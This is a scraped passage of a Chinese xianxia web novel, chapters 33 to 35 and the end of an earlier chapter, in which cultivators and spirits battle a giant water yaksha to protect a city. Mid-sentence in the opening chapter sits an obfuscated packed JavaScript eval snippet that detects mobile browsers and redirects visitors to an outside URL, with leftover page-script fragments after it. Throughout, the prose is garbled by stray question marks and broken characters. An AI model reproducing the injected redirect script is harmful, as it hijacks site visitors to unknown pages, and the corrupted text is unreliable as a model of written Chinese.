“我怎么到这里的?” 孟枝枝紧皱眉头,道:“恐怕你的魂魄出窍了。” “魂魄出窍?” 孟枝枝握拳咳嗽了几声,道:“民间传说聊斋中有讲过一个六指书生,他一见钟情大财主的女儿阿宝,相思成疾,于是魂魄离体跟在了阿宝的身边。而这在道家术法中记载为魂术,名为‘魂魄出窍’。” 和传说讲述的魂魄只能入梦不一样,在道家术法中魂魄和躯壳的区别只在于,魂魄主阴,躯壳主阳,魂魄和躯壳都只是这人的一部分,魂魄依然可以流血受伤,一样可以被触碰,可以看作是人的二分之一。 但是怎么解释赢破杀了水夜叉? 那可是生存在千年深潭里的恶鬼,伴随着深潭诞生而出现,能在极寒而暗不见天日的地方生存上千年,必然邪恶无比。就算是她,在没有护她剑剑灵的帮助下,也很难铲除一只。 白玉湖中泛起的红水,令她想起掉落前向后那一看,当时湖中可不止一只水夜叉。 她心里很乱。 难道赢破已经入魔了? 对,不对。如果他已经成了魔,鬼体更进一步加强,又怎么会轻易魂魄离体? 鬼物是没有魂魄一说的。一般鬼物的本体是死物,死物上各种邪祟怨气聚集,从而产生了灵智,这才是鬼的来源。只有除了天生为鬼,例如五奇鬼,他们在黑夜中突然诞生,没有由来。 现在站在她面前的人,的的确确是赢破的魂魄。他身上当真流着人类的血脉。 水中不明显,但此时在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101831|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸上,他的身体呈现半透明状,光线穿透他的身躯,虽有实感,但不是他原本的身体。 孟枝枝一把捧住赢破的脸,说是捧,不如说是挤压,她使劲让他的脸对着自己,不给他任何撤离的机会。 她注视着他,焦灼道:“你没有修魔,对吗?” 她的双唇止不住颤抖,被水浸泡过的脸庞显得格外寒冷。 赢破道:“魔?” 孟枝枝心里着急,道:“回答我。” 赢破不懂“魔”这个字的分量,只在眼前人眼中看到了无尽恐惧,仿佛这个字是厄运,是灾难,是不可言说的沉重命运。 彼时的他只觉得这不过是一句轻飘飘的回应,又有何不可? 他道:“我没有。” 孟枝枝胸中憋住的那口气终于呼吸过来,双手渐渐松开。 她见赢破一脸懵懂,便知晓他压根不知道什么是魔。 或许是发生了其他异变,又或者水夜叉分赃不均开始内斗,致使他们互殴死亡,恶鬼性邪,容易分崩离析,这也不是没有可能的。 赢破不过是趁机用了她教他的法术偷袭了一下,他有鬼邪的体质,释放的法力更强。 总之,她认为,这绝不会是现在的赢破能够做到的。 她道:“我马上可以见到云庭了,很快就能知晓师父的去向。” “云庭?”赢破心中微微不快,他嚼着这两个字。 少年脸色臭了起来。 “他就能知道你师父在哪儿?” 孟枝枝低着头施法烘干自己的衣物,道:“我不清楚,但很有可能他知道。” 她烘干后,又伸手去摸赢破的衣服,察觉到毫无湿意,便道:“难道你会魂术?” 她抬起头看他。 少年眼尾一挑,道:“我应该会吧。” 孟枝枝揉了揉额角。 看他这般逞强的样子,就知道他自己也搞不清自己为什么会魂魄离体。 魂术的施展哪有那么容易,就算是她也经过数次练习。 怎么就误打误撞让他学会了? 她再一次有些嫉妒赢破的学习能力。 她突然脸色一变道:“魂魄在偶然契机下是可以离体,但不能离体太久,不然身体没有魂魄滋养,会失去生机。” “你得快回去。” 赢破注视着她。 突然,他凑到她眼前,额头伸了过去,贴在了她的手背上,闭着眼。 “千万别骗我,孟芷。” 孟枝枝感到自己手背一烫,那温热的感觉传导到心脏,不由地扩散四肢,让她觉得脸也跟着热了起来。 她不自在地抽回了手,道:“我来运法,送你回去。” 她闭上眼,在身体里运动灵气,发现自己的伤竟然好得差不多了。 她想起了她吞咽的血。 少年没有丝毫忧虑,就往胳膊上划了一刀,那鲜红的血液被强硬地灌进了她的嘴里。 那血让她重伤的身体恢复了。 她没有告诉他,魂术的施展需要的契机是“深刻的执念”,是要一心想要去到对方身边的强烈愿望,才能促使魂魄强行离体。 这一瞬的明白,让她心跳不止。 他当真对她……? 她手中夹着一颗咒枣,结印处灵气溢出,灵气如白荧光点,围绕在赢破的周身。 赢破垂眸,伸出手指触碰那些光点,刚一触,光点就弹远了些,他便执拗地去碰,乐此不疲,显露出几分孩子气。 33-40 第33章 第 33 章 蓝倾这人变卦属实变得快, 前?一秒还在跟你谈笑风生,下一秒就能变卦翻脸。 黄小五虽心甘情愿跟他入了玉坤山,但此?时也知道蓝倾状态不对?,他紧握着珠子不放, 紧紧躲在小桃仙身后。 小桃仙也护着他, 道:“蓝师兄, 为难一个孩子不太?好吧。瞅瞅这孩子多可怜啊, 那是?他娘唯一留给他的东西了。” 蓝倾冷笑道:“别废话!我答应了路一剑, 要看好那大傻逼不去送死,但我可没答应过这小崽子不抢他珠子。” 他蹲下身,露出洁白的狐狸牙,对?着黄小五咧嘴笑,道:“小崽子, 别坏了爷爷的事。乖乖交出来,听到了没?” 黄小五这孩子都被这一变动弄得搞不清情况了,原本当着那么多人的面?前?都护着他的大师兄转眼跟变了个人似的,委实有些恐怖。 他这才明?白过来,刚刚为什么一见蓝倾师兄, 小桃仙对?他突然偷偷低语那句“快躲我身后”。 他咬紧牙道:“我不给。” 蓝倾伸出手?去, 动手?就要抢。 黄小五像个小鸡仔一样被拎紧了后脖颈处的衣服, 整个人被吊了起来,小桃仙立马扯住蓝倾的衣服, 情急之下,只听见一声衣服被撕烂的声音。 蓝倾猝不及防地,一看见自己美艳绝伦的仙衣被小桃仙那只黑乎乎的手?扯出一个洞来, 脸抽搐般地抖起来了,尖叫跳开道:“我的仙羽衣!” 他一副浑身炸毛的样子, 捧着那破了的羽纱,心疼得要命。 黄小五趁机逃跑,没跑出几步,又被蓝倾阴沉着脸拦住。 他移动的速度之快让黄小五觉得心里?发毛。 就在蓝倾伸出那锋利的长指甲之际,孟枝枝喊道:“水夜叉过来了!” 几人同时往孟枝枝的方向看去,正看见一只丑陋的恶鬼向他们?冲刺过来,一旁是?云庭躺倒在地面?上,不知是?死是?活,而无尘剑就在他不远处,插入了土地里?,剑身结出霜花冰晶。 一阵风刮过脸面?,黄小五看见蓝倾瞬移去了云庭身边。 小桃仙拉住了他往一旁跑,“傻小孩,愣着干嘛!快逃命啊!” 孟枝枝也朝他们?这方向奔来,她手?捏咒枣,拉出金弓,射到了地面?上,金弓上缠绕着火焰,火克水,水夜叉的步伐果然变得稍微迟钝些。 但这也仅仅只能是?拖延一点时间。 孟枝枝喊道:“小桃仙,带小五去阵外躲,这里?空间太?小。” 她话音刚落,水夜叉就冲小桃仙和黄小五而去,她立马拦在了水夜叉跟前?。 小桃仙赶紧拉着黄小五跑。 巨石阵里?巨石像鱼一样在土里?滚动,它飞快地转动,像星盘一样按照既定轨迹运转。 小桃仙刚往外迈出一步,一个大石头就飞过来,差点砸她脸上。 她骂道:“这他妈的怎么……让我横着出去啊?” 蓝倾正用仕女扇将云庭拖了起来,云庭四仰八叉地躺在扇面?上,他的怀中?还躺着无尘剑。 云庭闷哼几声,用低沉嘶哑的声音道:“放我下来。” 蓝倾脑门青筋暴起,道:“给本爷爷闭嘴!” 见云庭用手?去捞无尘剑,蓝倾的长指甲一舞动,无尘剑就飞了出去,掉落地面?。 云庭瞳孔一缩,“师父给我的剑。”动辄就要起身去捡。 蓝倾一巴掌又把他挥平了,道:“告诉你云庭,本爷爷的忍耐是?有限度的。我救你一次两次还不够,还要救你第三次?” 云庭仰着头斜睨着他,半死不活道:“我不需要你救。放我下去。” 蓝倾摁着额头似要抓狂,来回走动几步,道:“你是?有什么毛病吗?你真以?为你打得过水夜叉?” 云庭冷冷地看着他,满脸挂着血,道:“要打。” 蓝倾憋了半天,只憋出几个字来评价:“你这猪脑真进水了。” 他从袖下掏出一根绳子,将云庭绑得紧紧的,道:“但是?,我不能让你去送死。你死了,你那护短的师父要是?找上门怎么办?你和你师父有多烦人,你心里?没点儿?数吗?本爷爷才不想日日年年被你们?千霄宫的人念叨。而且,就算你要死也别死我跟前?,死你师父跟前?去。” 云庭挣扎万分,真是?动了怒气,脖子都气红了,道:“放开我!” 蓝倾假装听不见他说话,故意大声道:“把你送回去后,我该找你们?千霄宫要什么报酬好呢?” 他转过身露出鬼魅的笑容,道:“不妨送两个弟子来给我尝尝?鲜美的人肉……啧,我甚是?想念啊。”说罢轻轻滑动舌尖,很快舔了一下唇角。 云庭气得太?阳穴疼,“你这个妖孽!找死!” 蓝倾摸着下巴道:“你们千霄宫选弟子都喜欢选细皮嫩肉的,称得上人中?上乘佳品。上好的食材,自然要慢火烹煮,细细品尝。不过若是按家常,炸着吃、炖着吃、煮着吃也无妨,放葱姜蒜末爆炒也别有一番风味呢。” “你敢?”云庭双眼通红,仿佛马上要蹦下来似的。 蓝倾还怕气不死他似的,一双狐狸眼笑眯眯地看他道:“云庭,还真亏你这么能折腾,本爷爷能得千霄宫厚礼相送,还得感谢你。继续折腾吧、闹吧,本爷爷还怕千霄宫送礼送得不够重,白来这么一回呢。” 云庭脸色拉得吓人,死命瞪着他,双眸充满恨意,仿佛要恨不得要立马杀了眼前的畜生。 突然传来:“师兄,救命啊啊!” 蓝倾回头看去,只见小桃仙拉着黄小五往他们?的方向跑来,水夜叉正在他们?身后追着他们?。 蓝倾脸色一黑,立马携云庭跑远。 小桃仙一看傻眼了,她早该知道的,靠谁都别靠蓝大师兄!他们?的蓝大师兄靠不住啊,关键时刻溜得比谁都快! 但此?时压根没办法,水夜叉不是?她和孟枝枝中?任何一个能对?付的。 小桃仙心想:把蓝大师兄拖下水,她拖定了。 她拉着黄小五,使出吃奶的力气,故意大声喊道:“师祖!您怎么来了啊!” 蓝倾的步伐果然僵硬了,手?一哆嗦,差点把云庭摔了出去。 趁这个功夫,小桃仙跑到了蓝倾身边,气喘吁吁。 蓝倾回头细看,才想起师祖早就已经入土为安了,冷笑道:“师祖在哪儿??” 小桃仙眼珠子乱转悠道:“我、我刚刚真看见师祖的魂魄了,他在说大师兄又在戕害师弟师妹们?,还骂了一堆话呢。” “你……” “快躲开。” 天空出现一轮巨锤,那是?水夜叉的拳头。 这下,谁也别想跑。 白日遮掩,一座黑压压的山朝人倾斜而来,细看那不是?山,而是?一张丑陋的恶鬼脸,恶鬼长得粗枝大叶,肥硕的鬼身上遍布千年腐泥,浓重的土腥味和血腥味交织,恶臭铺面?而来。 水夜叉身形巨大,与之前?的五奇鬼相比,可谓是?有过之而无不及。这场雨,让原本无法上岸、依水而生的它,不再被湖水限制,如今它想去哪儿?就去哪儿?。 在场几人都心里?明?白,他们?无处可逃,无论去哪儿?都会被水夜叉追上,与其把水夜叉带到城中?去,让它伤害百姓,不如就在这儿?同它打斗。 蓝倾袖下狐爪忽地伸出,张开便是?十道长长的坚硬指甲,道:“小桃仙,你看好我身后那只猪,别让他瞎跑。” 小桃仙满脸疑惑,猪?哪来的猪? 孟枝枝对?她使了使眼色,她才看见地上几乎被捆成条状的云庭,小桃仙眼白都快翻到天上了。 蓝倾将仕女扇收入手?中?,白色的三角尖长指甲覆在扇面?上,只露出一双狐狸眼,他额中?心的蓝色狐火标记熠熠生辉。 神奇的是?,水夜叉似乎知道自己的对?手?是?蓝倾,便低着头直直的看着他。 突然,蓝倾消失原地。 孟枝枝和小桃仙看见几乎一瞬间,水夜叉身上燃起一圈蓝色狐火,但那狐火又好生奇怪,仿佛水流般灵动,直直窜向水夜叉眼睛里?去。 和孟枝枝在隐世的武器铺子里?感受一样,那狐火没有温度,似火非火。 小桃仙对?她低语道:“蓝师兄让我们?做好准备。” 只对?视一眼,孟枝枝便明?白了小桃仙的意思,他们?要找个机会逃掉,她道:“我们?也不能坐以?待毙。” 小桃仙道:“把你的剑给我,我找来了息壤可以?固剑。你去看看云师兄,我们?不能让他死掉。” 孟枝枝将护他剑递给了小桃仙,顺便又从香囊掏出一堆白瓷的药瓶子。 二人有十足的默契,小桃仙一见那药瓶子什么也没说,就收下了。 孟枝枝走到云庭身边,先用灵力探他的脉。 云庭满脸血痕,胸腔塌陷,胸前?的丹青衣上染满鲜血,他从口?腔里?费劲吐字道:“解开绳子。” 孟枝枝充耳不闻,掏出一颗咒枣,强硬地塞进了他的嘴里?。 她平静道:“你的伤势严重,全身经脉接近破碎,再用力过猛,会性?命不保。而且,你现在入了癔,神志不清,你需要冷静。” 云庭几乎暴怒:“解开绳子!” 原本躺在地面?的无尘剑,跟着主人强烈的情绪波动而颤动起来。 孟枝枝淡道:“我不会替你解。” 云庭双目死死瞪着她,“我要去斩杀水夜叉。” 孟枝枝道:“我知道。” 云庭几乎是?怒火迸发,道:“既然你知道,那你更应该知道城中?无数稚子的生命危在旦夕,你是?谁,何以?阻止我!人皮之下究竟是?妖孽?还是?恶鬼?” 孟枝枝不予回应,抬手?捏诀,两指并?拢,她掐住云庭的脉搏,顿时金光乍现,灵气涌动。 见她置若罔闻,云庭怒得塌陷的胸膛膨胀开。 一道寒意强势袭来。 孟枝枝手?上动作一顿,黄小五被吓得向后摔在地面?上,“枝枝姐姐!” 雪白的无尘剑正对?着孟枝枝的后脑勺,堪堪距离一寸的位置。云庭就算如此?半死不活,也依然具备使唤本命剑的能力。 云庭眼神恶狠狠,道:“解开。” 孟枝枝抬眸看他,“如果我不解开,你打算杀了我?” 云庭道:“这是?你自找的。” 孟枝枝闷笑一声,她将掐住他脉搏的那只手?抬了起来,眼神一凌。 “那我会先杀了你。” 第34章 第 34 章 他的脉搏围绕着一圈金光攒动, 灵气正大量涌进他的脆弱的经脉里,让他察觉整只手臂肿胀刺痛异常。 她注视着他,手中稍微一用力,云庭脸色一变, 鲜血从喉间上涌, 从他嘴角流出, 胸口的血染到地面上, 红得那?么刺眼。 只要?孟枝枝想, 她一定?做得到。 孟枝枝道:“还要?再试吗?” 云庭将源源不断上涌的鲜血强咽了下去,嗓子被拉得生?疼,宛如?刀割。 他骂道:“混账。你们?这帮妖孽为虎作伥!” 孟枝枝站起身来,拍了拍身上的灰,向黄小五走去, 将他拉了起来。 黄小五吓得不清,他看见云庭宛如?疯癫状,对孟枝枝骂得难听。 他摸到孟枝枝的手很冰凉,小声道:“枝、枝枝姐姐,你没事吧?” 孟枝枝的眼神有片刻失神, 似刚胸口回过一口气, 道:“小五, 对不起。” “为什么和我道歉?” 孟枝枝低头看他,道:“我很想教你不要?去恨人, 但是我自己也做不到。每个人都有自己的立场不假,但对有的人而言,伤害了她的人就是坏人。” 黄小五回握了一下她的手。虽然他什么都没说, 但孟枝枝心里明白,他懂她的意思, 并且一点都不曾怪她。 孟枝枝感?觉心里得到了一丝安慰,道:“小五,我和小桃仙都会保护你,不要?害怕。” 黄小五将脸紧贴在她的胳膊上,用脸颊轻轻去蹭,这是獒犬妖对人亲昵的习性。 她的指尖触摸到冰凉的璧水珠。 他是如?此信任她,令她忍不住用另一只手去摸他的脑袋。 忽而,一阵痛意擦脸而过,耳边一阵剑鸣急啸。 白影晃过,温热的血液洒在她的手上。 孟枝枝大喊一声:“小五!” 正在补剑的小桃仙也被惊动。 孟枝枝抱住黄小五,捏诀堵住了他脖子上迸溅的血口。 黄小五的脸化成半人半狗,他艰难开?口,眼神里布满强烈的恐惧,“呜……呜嗯。” 孟枝枝阻止他,慌张道:“没关系,没关系的小五,你不会死。别说话?,一会儿就好。我一定?会治好你!” 不远处,云庭手握带血的璧水珠,血液一滴一滴地滴落在地面。 小桃仙想追,结果云庭一闪而过。 她大声道:“蓝师兄,云庭拿着璧水珠朝你那?儿跑了!” 蓝倾停下打?斗,就见一个身沾血渍的影子朝他冲来。 他不免破口大骂:“疯子!又给老子添麻烦!” 云庭有了璧水珠的加持如?虎添翼,水夜叉因璧水珠的存在视他为同类,对云庭的攻击毫无反应。 云庭手拿无尘剑,一剑插入水夜叉的脑中。 他深深地刺了进去,绿色的汁液迸射在他的脸上,落进他的眼睛里,但他眼也不眨一下。 水夜叉仰头怒吼,浑身结出大簇大簇的冰刺,远远看上去像他身体里有颗冰种子,突然之?间绽放了许多冰骨朵似的,将它每一寸骨肉都刺得稀巴烂。 蓝倾见状不对,连忙撤开?。 云庭拔出无尘剑,整个人飘浮在水夜叉眼前。 “作死的孽畜,那?么多百姓的命,你就拿命来换吧!” 孟枝枝仰头一看,突然意识到在蓝倾到来之?前,云庭就已经将“冰种子”埋好了,不使用剑招,不过是为了迷惑水夜叉,往它身体里种下“冰种子”,只待契机,同时搅碎水夜叉的血肉,让他来不及恢复。 难怪他一直咄咄逼人,如?此有“理智”的发疯,令人后怕。 “人类。”身为千年?恶鬼的水夜叉竟然开?了口。 它的声音听起来音调极怪,一开?口,全身的洞口便流出绿色汁液,道:“你手中的璧水珠是从哪里来的?” 云庭手里紧捏着带血的珠子,道:“想要??” 水夜叉道:“那?是我们?水夜叉一族的东西。” 云庭道:“你们??你不是已经吃掉了你的同类?何来脸皮!乖乖受死吧!” 水夜叉笑了一声又一声,那?笑声太过诡异,如?堕入水中之?后产生?吞音,和妖怪拟人的笑声完全不一样。 这只千年?恶鬼抬起一只手,拔掉自己心脏处最粗壮的冰刺,又塞进了自己的嘴里。“你们?太过愚蠢了。” 这什么意思? 只见水夜叉张开?一张大嘴,从里面跑出汹涌的恶水,水流连绵不绝,一落地,顿时又拔出千丈高。恶水之?中,全充满着水夜叉的鬼气,这恶水来自水夜叉的法术,外表看着跟普通的深水似的,但实?际上能够侵蚀万物之?灵,只要?被沾染上,就会邪气入体,灵肉损伤。 云庭被恶水冲击下来,浑身瞬间冻得僵硬,摔在地面上,顺着水流被冲向流动的巨石阵,硬生生砸在了石头上。 蓝倾一挥扇,冲他而来的水流被更?改了方向,但紧接着又有向他接连不断的恶水水流冲来,完全分不开?身。 如?今阵中随时不知道从哪里会冒出来恶水泛滥,她们?几人全能逃出去的机率极低,如?果不帮助蓝倾和云庭除鬼,恐怕不出片刻,他们?都会死在这里。 眼看着数股恶水朝她们涌了过来,小桃仙立马道:“枝枝,接剑!” 孟枝枝一手握住了扔过来的护他剑,她后背被汗水浸湿,唇色苍白。刚刚为了救黄小五,她几乎不要钱地往外输送灵力,这才堪堪保住了黄小五的命。现在灵力消耗过度,每喘一口气,浑身酸痛得难以动弹。 但现在是关键时刻,所有人的命运都将在须臾之?间变换,她只能前进,不能后退。 她对黄小五道:“小五,好好躺着。” 黄小五无法开?口说话?,点点头,又紧拉住她的手指,似有千言万语。 孟枝枝眼神坚毅,剑划至身侧,道:“姐姐会把璧水珠给你带回来。” 她松开?手,持剑上去。 她道:“小桃仙!” 小桃仙立马变幻出真身原神,注入了护他剑的剑身之?中,正如?上一次诛杀净念大师一般,孟枝枝和小桃仙早已决定?,要?利用小桃仙的原神缝补护他剑充当法器,即使护他剑的剑灵早已沉睡,但作为打?上了道术法印的桃木剑天生?具有驱邪的属性,用来对抗千年?恶鬼是正好。 巨石阵内滚动的巨石,像无数凶口獠牙的鳄鱼在土中游动。 水夜叉吐出的万千注恶水汇集成海,海水被巨石固束在阵内,海浪滔天,一步步向他们?所在之?处逼近。 大意了,原本?是用来阻挡水夜叉进来的巨石阵如?今竟然变成水夜叉的帮凶。在道法自然中有这样一条规则:土克水。土能阻挡水流,这巨石阵起码能困住水夜叉一时。 水夜叉和恶水现如?今被流动的巨石封印在阵内,令他们?几乎无处可躲。 但如?果破坏巨石阵,全都逃出去……不行,城中还有那?么多手无缚鸡之?力的百姓。 孟枝枝感?觉周身冻得刺骨,牙关都战栗着,持着护他剑阻挡恶水侵蚀自己,光是做到这般地步,已然万分吃力。 只听见蓝倾骂了一句:“傻逼,回来!” 往外一看,云庭不知何处又突然冒出,浑身鲜血,持着无尘剑冲向水夜叉,而无尘剑剑柄上缠绕着泛着幽光的璧水珠。 蓝倾将仕女扇收入袖中,一脚蹬飞,无数注千丈恶水伸出卷长的水舌朝他席卷而来。他左闪右避,速度极快,几乎与恶水擦肩而过。 孟枝枝也追了过去。 云庭周身覆盖了一层坚硬的冰晶盔甲,恶水难以侵蚀,从他身上滴落。只见他很快飞向水夜叉的肚子处,无尘剑刚一出,一只鬼手立马挡住剑招,鬼手手背上覆盖了一层绿色的鳞片,无尘剑与之?摩擦出了刺目的火花。 云庭身子一个旋转,又朝水夜叉的肚子刺去,两只鬼手一边挡住了无尘剑,一边向云庭身子抓来,两方交战速度极快,令人眼花缭乱。 然而,云庭脸色苍白,口中不断泛出鲜血,冰晶盔甲里渗出血液。孟枝枝说过,他的身体已经不适于战斗,经脉早已到达承受极限。 而水夜叉蚕食同类和那?么多妖物,力量壮大到一个可怖程度,如?此巨大的身体却万般灵活。 果然,此时云庭只慢了半拍,就被水夜叉抓住了空隙。 一只鬼手遮天蔽日袭来,情?况危急万分! 蓝倾冲了出来,手中一扇仕女扇,扇出熊熊狐火,蓝色的狐火瞬间燃烧整只鬼手。水夜叉动作一顿,就在此时,云庭趁机将无尘剑刺进水夜叉的肚子。 绿色的汁液如?海水一样喷涌而出,伤口流血程度与之?前相比,明显更?加严重?。 云庭露出了一个得逞的笑容。 孟枝枝感?觉到云庭知道水夜叉的命脉就在肚子上。 她见水夜叉有动作,喊道:“小心!” 水夜叉的鬼手已经沾上云庭的衣角,蓝倾立马挥舞仕女扇,将云庭飞速地扇了下去,鬼手只撕下一大片的衣料。蓝倾又一把褪去外套,那?外套跟长了眼睛似地,飞速朝云庭飞去,将他包裹住。 云庭匍匐在地上,艰难地抬起头,一双沾满血液的手中紧紧攥着璧水珠。 蓝倾立在他的身前,漂浮在空中,对身后的云庭不悦道:“这下你们?千霄宫还差我件衣服!” 他又冲着水夜叉道:“水夜叉,闹了这么久也够了。你们?水夜叉一族被大妖利用,被诱至白玉州,遭受诛杀,如?今吃了那?么多妖物和百姓,再这样下去,必是两败俱伤,又何必你死我活?还是回你的千年?深潭里呆着,人间不适合你。” 水夜叉声线诡异,不急不缓道:“你是玉坤山上的那?只狐狸,我听说过你。” “他们?都说玉坤山有只愚蠢的狐狸,为了一个人类,甘愿守护一座山。” 第35章 第 35 章 蓝倾骂道:“你们水夜叉一族呆在?深潭底下?上?千年还这么八卦, 一堆老不死的家伙。” 水夜叉哈哈大笑,声音宛如海波飘荡。 “狐狸,把那个人给我,我就放过你们。”水夜叉用沾满绿色汁液的手指了?指云庭。 蓝倾道:“他不能?给你。我答应了?别人, 必须要带他回去。” 话音刚落, 蓝倾又意识到什么, 他道:“你不打算回千年深潭?” 水夜叉嗤笑, 道:“狐狸啊狐狸, 我水夜叉一族好?不容易从千年深潭里出来,多年不见这人间花好?月圆、繁荣茂盛,然而?这般盛世繁华竟是由这些孱弱的人子支配,我水夜叉一族何以服气?” 这是生出了?野心! 水夜叉道:“妖与鬼邪天生地长,比人更加强大, 人类自古以来只?是我们的口粮,应该他们臣服于我们。狐狸,你的脑子被人类荼毒太久了?。此子伤我数次,自不量力,手中还有我族之物——璧水珠。他, 我要定了?。” 水夜叉伸出一只?沾满绿色汁液的鬼手, 向云庭抓去。 蓝倾立马冲上?前去。 “就是现在?, 小桃仙!”孟枝枝持着?浑身缠着?桃花枝的护他剑,一剑刺向水夜叉的肚子。 她以极快的速度念道:“天地自然, 秽炁分散。洞中玄虚,晃朗太元。八方威神,使我自然。灵宝符命, 普告九天。乾罗答那,洞罡太玄。斩妖缚邪, 度人万千。中山神咒,元始玉文,持诵一遍,却?病延年;按行五岳,八海知闻;魔王束首,侍卫我轩;凶秽消散,道炁常存。急急如律令。” 这是上?次为了?杀死净念道师反念的净天地神咒,但凡她学会过一次的东西,她全能?记得。 她身披耀目白光,将护他剑一举插中了?水夜叉的腹部,一个深深挺进。 巨大如山的身形一滞。 水夜叉低头一看,蓝倾趁机在?正面煽动狐火,剧烈焚烧着?的狐火扑面而?来,试图牵制水夜叉。两只?鬼手立马朝蓝倾袭去,任凭狐火在?身上?燃烧,而?它的肚子突然膨胀变大。 孟枝枝有些失措,只?能?趁着?蓝倾牵制他的功夫,不断重复念净天地神咒,一刻也不敢怠慢,双唇快到出现重叠幻影。 护他剑上?的桃花枝变短又变长,受净天地神咒的影响,小桃仙的元神勉强承受着?法?力在?身上?过渡的强烈冲击,剑身发红,红得像血一样。 然而?水夜叉的肚子越来越膨胀,像气球一样吹了?起来,肚中有着?一股强大的吸力,几乎将护他剑吞噬了?进去。孟枝枝双手紧紧扯住剑柄,十指指甲嵌入进血肉之中。 她头晕目眩,只?觉得耳边狂风大作?,脸颊被冻得毫无知觉。 她一点不敢松手,拉扯着?护他剑,把剑吃力地抡了?起来,在?水夜叉的肚子上?破开一个大口。 她透过那个划开的口子,看见水夜叉的肚子里黑洞洞,深不见底。 一阵飓风从里面喷涌而?出,孟枝枝整个人随着?护他剑被喷了?出来。 她感?到脸上?全是黏糊糊的液体,视野全是绿蒙蒙的一片,什么都看不清。 突然一道黑影落下?,她被砸中,笔直地落地。 孟枝枝感?觉五脏六腑移位,全身痛到说不出话来。眼睛刚能?看清一点点东西,就看见水夜叉的大脚冲自己头顶踩来,她已躲闪不及。 蓝倾又是一扇,狐火缠绕上?水夜叉的脚,他身后现出九条白色狐尾,俯冲过去,那狐尾尾峰宛如一把把弯刀,一下?竟然使得水夜叉向后猛退。 孟枝枝艰难道:“攻、攻……肚子。” 蓝倾一下?领会,几番攻击全朝肚子上?去了?。 孟枝枝心急如焚,她没想到自己连水夜叉的一招都没抵挡住,现在?十指不能?动弹,护他剑身上?缠绕的小桃仙的元神也奄奄一息,小桃仙竟是化成人形的法?力都没了?,数条桃枝上?泛出黑色,现出一片死气。 孟枝枝冲自己强灌了?几瓶咒水补药,一待手指能?使点力气,便捏诀,往咒枣里灌输修为,拉出上?百张金弓,辅助蓝倾进攻。 然而?这点作?用也只?是毛毛雨,水夜叉警惕心升起,蓝倾的速度在?他们所有人之上?,却?连它的肚子都碰不到,情况万分焦灼。 黄小五躺在?地上?,看着?远处孟枝枝完全凭借着?一股意志力捏诀,她的面容之上?盘卧着?蜘蛛网般的红色血管,看着?十分可怖,如此透支,必将损伤寿命。自己身旁的云庭昏迷不醒,小桃仙也不知如何,护他剑的剑身发黑,始终没有反应。 即便如此,他们也没有打开巨石阵,而?是将水夜叉困在?阵中。 为了?那阵外从未谋面的一帮陌生人,值得吗? 他们会死。 黄小五想大喊一声,但发不出任何声音。 一种绝望从心尖弥漫开来。 水夜叉此时?又朝云庭伸出魔掌,蓝倾冲孟枝枝道:“他想拿走?璧水珠!” 若是有璧水珠加持,水夜叉必定更难以对付,恐怕最强战斗力的蓝倾都要折在此处。 孟枝枝立马咬牙,站起身来,蓝倾同时?堵住水夜叉去路。 但地面升起百丈恶水,眼看着?就要卷向云庭和黄小五。孟枝枝不知从哪儿来的力气,冲到黄小五身前,向前推掌挡住恶水,双手冰凉刺骨,肿胀异常。 孟枝枝忍受着穿心刺骨之痛,对黄小五道:“小五,走?。” 黄小五傻愣住。 孟枝枝长话短说道:“我教你怎么出阵,一定要记住出阵方法?。” 黄小五出阵,恐怕会被水夜叉抓住机会一同出去,但现在?考虑不了?那么多了?,只?能?他们来拼死挡住水夜叉,让黄小五有一线生机。 此时?护他剑摇摇晃晃冲来,看来小桃仙已经恢复了?意识,她将云庭手中的璧水珠绳子割断,把珠子带到了?黄小五手中,道:“把璧水珠带着?,去找玉坤山的人。” 黄小五急道:“那你们呢?” 孟枝枝微微偏过头,道:“你先走?,我们随后就来。” 黄小五顿时?感?到不妙,他手中捏紧璧水珠,迟迟不愿意动。小桃仙发了?脾气,道:“小屁孩,还愣着?干嘛,走?啊!你想在?这儿拖累我们吗?我告诉你,我可是小桃仙,三百年的大妖精,这次救了?百姓那就是攒了?修为大功,很快我就会成为真正的神仙!你在?这里,只?会影响我们发挥,太碍手碍脚了?,赶紧滚。” 黄小五眼中已经含着?眼泪。 眼前又数百丈的恶水翻涌而?起,小桃仙往黄小五背上?一拍,将他拍远了?些。她与孟枝枝两人阻挡着?恶水,恶水来势汹汹,眼前宛如她们被压在?海底般,天空变成碧色光波的海色,强大的压力令她们身体微微变形。 “走?!”孟枝枝的声音被吞进水里。 小桃仙也跟着?急切地喊道:“快走?啊!” 黄小五立马往外跑,没跑几步,两旁突然陡升出数股恶水朝他攻了?过来,他吓得唇色尽失,闭住眼睛,濒死的恐惧令他的身体僵硬颤抖。 该来的疼痛没有来。 再一睁眼,竟然是孟枝枝用肉·体阻挡,她的腹部源源不断被撞击、撕扯,血流横飞,但她还对他强撑出一个笑道:“小五,别怕。” 黄小五眼泪止不住地流。 “我说过,会和小桃仙保护你。快走?吧。” 她气息渐弱,很快被恶水卷了?进去。 黄小五嘶哑着?嗓子,喊出无声:“枝枝姐姐!” 小桃仙还在?抵挡,喊道:“傻狍子!” “妈的!姑奶奶跟你拼了?!”小桃仙猛冲过去,护他剑剑身不断掉落桃枝燃烧后的灰烬,发出滋拉滋拉的声音。 黄小五紧紧攥住璧水珠。 脑子里飞快闪过画面。 娘亲临死前:“小五,不要恨人。” 画面又是一闪,孟枝枝对他说:“他们会成为你的兄弟姐妹,你不会是一个人。” “你的娘亲很爱你。 ” “本仙子我是在?保你的命知道吗?”  ” “傻狍子无父无母,是她师父一手带大的。” “傻狍子才不会后悔呢!她救了?我和冥漆,我们可是她的好?朋友。” “小五,别怕,我们会保护你。” “你没有在?意的人吗?” “有,所以我想我们安安全全地回去,这样我才能?去见她。” 黄小五猛地将璧水珠咬在?嘴里,脸上?瞬间幻化成了?人类小孩的模样。 他闭上?了?眼,心里对口中的璧水珠道:“我要同你定下?契约。” 